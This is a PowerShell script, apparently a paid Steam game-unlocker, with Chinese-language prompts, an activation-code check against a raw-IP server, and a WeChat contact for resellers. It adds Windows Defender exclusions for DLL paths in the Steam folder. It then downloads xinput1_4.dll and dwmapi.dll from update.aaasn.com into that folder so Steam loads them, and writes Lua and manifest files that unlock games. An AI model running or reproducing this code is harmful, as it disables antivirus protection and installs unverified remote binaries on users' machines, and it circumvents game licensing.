cls [Console]::InputEncoding = [System.Text.Encoding]::UTF8 Write-Host -NoNewline " _____ _____ _____ _____ _____ `r" -ForegroundColor:blue Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r" -ForegroundColor:blue Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r" -ForegroundColor:blue Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor:blue Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor:blue Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor:blue Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor:blue Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r" -ForegroundColor:blue $localPath = Join-Path $env:LOCALAPPDATA "steam" $steamRegPath = "HKCU:\Software\Valve\Steam" $steamToolsRegPath = "HKCU:\Software\Valve\Steamtools" $steamPath = "" function Remove-ItemIfExists($path) { if (Test-Path $path) { Remove-Item -Path $path -Force -ErrorAction SilentlyContinue } } function ForceStopProcess($processName) { Get-Process $processName -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 if (Get-Process $processName -ErrorAction SilentlyContinue) { Start-Process cmd -ArgumentList "/c taskkill /f /im $processName.exe" -WindowStyle Hidden -ErrorAction SilentlyContinue } } function CheckAndPromptProcess($processName, $message) { while (Get-Process $processName -ErrorAction SilentlyContinue) { Write-Host $message -ForegroundColor Red Start-Sleep 1.5 } } $filePathToDelete = Join-Path $env:USERPROFILE "get.ps1" Remove-ItemIfExists $filePathToDelete ForceStopProcess "steam" if (Get-Process "steam" -ErrorAction SilentlyContinue) { CheckAndPromptProcess "Steam" "[请先退出 Steam 客户端]" } if (Test-Path $steamRegPath) { $properties = Get-ItemProperty -Path $steamRegPath -ErrorAction SilentlyContinue if ($properties -and 'SteamPath' -in $properties.PSObject.Properties.Name) { $steamPath = $properties.SteamPath } } if ([string]::IsNullOrWhiteSpace($steamPath)) { Write-Host "未找到 Steam 客户端。请安装 Steam 后重试。" -ForegroundColor Red Start-Sleep 10 exit } if (-not (Test-Path $steamPath -PathType Container)) { Write-Host "未找到 Steam 客户端。请安装 Steam 后重试。" -ForegroundColor Red Start-Sleep 10 exit } $steamConfigPath = Join-Path $steamPath "config" $hidPath = Join-Path $steamPath "xinput1_4.dll" Remove-ItemIfExists $hidPath $xinputPath = Join-Path $steamPath "user32.dll" Remove-ItemIfExists $xinputPath # Activation code download function function Download-FilesByActivationCode { param( [string]$ActivationCode, [string]$SteamPath ) $BaseUrl = "http://8.140.251.136:8081" $luaTargetDir = Join-Path $SteamPath "config\stplug-in" $manifestTargetDir = Join-Path $SteamPath "depotcache" # 检查并创建目标目录 if (-not (Test-Path $luaTargetDir)) { try { New-Item -ItemType Directory -Path $luaTargetDir -Force | Out-Null } catch { return $false } } if (-not (Test-Path $manifestTargetDir)) { try { New-Item -ItemType Directory -Path $manifestTargetDir -Force | Out-Null } catch { return $false } } try { $response = Invoke-RestMethod -Uri "$BaseUrl/api/download_all/$ActivationCode" -Method Get if (-not $response.success) { return $false } $downloadLinks = $response.download_links $successCount = 0 foreach ($fileInfo in $downloadLinks) { $filename = $fileInfo.filename $downloadUrl = "$BaseUrl$($fileInfo.download_url)" try { $fileResponse = Invoke-WebRequest -Uri $downloadUrl -Method Get -UseBasicParsing if ($fileResponse.StatusCode -eq 200) { # 根据文件类型选择目标目录 if ($filename -like "*.manifest") { $filePath = Join-Path $manifestTargetDir $filename } else { $filePath = Join-Path $luaTargetDir $filename } [System.IO.File]::WriteAllBytes($filePath, $fileResponse.Content) $successCount++ } } catch { } } return $successCount -gt 0 } catch { return $false } } # 提示用户输入激活码 function Prompt-ActivationCode { Write-Host "" Write-Host "========================================" -ForegroundColor Cyan Write-Host "招代理,加微信(请注明来意):Y-S--0705" -ForegroundColor Cyan Write-Host "========================================" -ForegroundColor Cyan Write-Host "" $activationCode = Read-Host -Prompt "请输入激活码:" return $activationCode } # 主函数 function PwStart { try { if (!$steamPath) { return } # 提示用户输入激活码并验证 $activationValid = $false while (-not $activationValid) { $activationCode = Prompt-ActivationCode if ($activationCode) { # 验证激活码 $downloadResult = Download-FilesByActivationCode -ActivationCode $activationCode -SteamPath $steamPath if ($downloadResult) { $activationValid = $true Write-Host "[激活码验证成功,已连接到Steam激活服务器。请等待Steam重启。]" -ForegroundColor Green # 短暂延迟 Start-Sleep -Seconds 2 } else { Write-Host "[激活码错误,请重新输入!]" -ForegroundColor Red Start-Sleep -Seconds 2 } } else { # 用户按Enter跳过,退出循环 break } } # 只有激活码验证成功后才执行后续操作 if ($activationValid) { if (!(Test-Path $localPath)) { New-Item $localPath -ItemType Directory -Force -ErrorAction SilentlyContinue } $steamCfgPath = Join-Path $steamPath "steam.cfg" Remove-ItemIfExists $steamCfgPath $steamBetaPath = Join-Path $steamPath "package\beta" Remove-ItemIfExists $steamBetaPath $catchPath = Join-Path $env:LOCALAPPDATA "Microsoft\Tencent" Remove-ItemIfExists $catchPath try { Add-MpPreference -ExclusionPath $hidPath -ErrorAction SilentlyContinue } catch {} $versionDllPath = Join-Path $steamPath "version.dll" Remove-ItemIfExists $versionDllPath $downloadHidDll = "http://update.aaasn.com/update" try { Invoke-RestMethod -Uri $downloadHidDll -OutFile $hidPath -ErrorAction Stop } catch { if (Test-Path $hidPath) { Move-Item -Path $hidPath -Destination "$hidPath.old" -Force -ErrorAction SilentlyContinue Invoke-RestMethod -Uri $downloadHidDll -OutFile $hidPath -ErrorAction SilentlyContinue } } $dwmapiPath = Join-Path $steamPath "dwmapi.dll" $downloadDwmapi = "http://update.aaasn.com/dwmapi" try { Add-MpPreference -ExclusionPath $dwmapiPath -ErrorAction SilentlyContinue } catch {} try { Invoke-RestMethod -Uri $downloadDwmapi -OutFile $dwmapiPath -ErrorAction Stop } catch { if (Test-Path $dwmapiPath) { Move-Item -Path $dwmapiPath -Destination "$dwmapiPath.old" -Force -ErrorAction SilentlyContinue Invoke-RestMethod -Uri $downloadDwmapi -OutFile $dwmapiPath -ErrorAction SilentlyContinue } } if (!(Test-Path $steamToolsRegPath)) { New-Item -Path $steamToolsRegPath -Force | Out-Null } Remove-ItemProperty -Path $steamToolsRegPath -Name "ActivateUnlockMode" -ErrorAction SilentlyContinue Remove-ItemProperty -Path $steamToolsRegPath -Name "AlwaysStayUnlocked" -ErrorAction SilentlyContinue Remove-ItemProperty -Path $steamToolsRegPath -Name "notUnlockDepot" -ErrorAction SilentlyContinue Set-ItemProperty -Path $steamToolsRegPath -Name "iscdkey" -Value "true" -Type String $steamExePath = Join-Path $steamPath "steam.exe" Start-Process $steamExePath Start-Process "steam://" for ($i = 5; $i -ge 0; $i--) { Write-Host "`r[本窗口将在 $i 秒后关闭...]" -NoNewline Start-Sleep -Seconds 1 } } exit } catch { # Catch any errors } } PwStart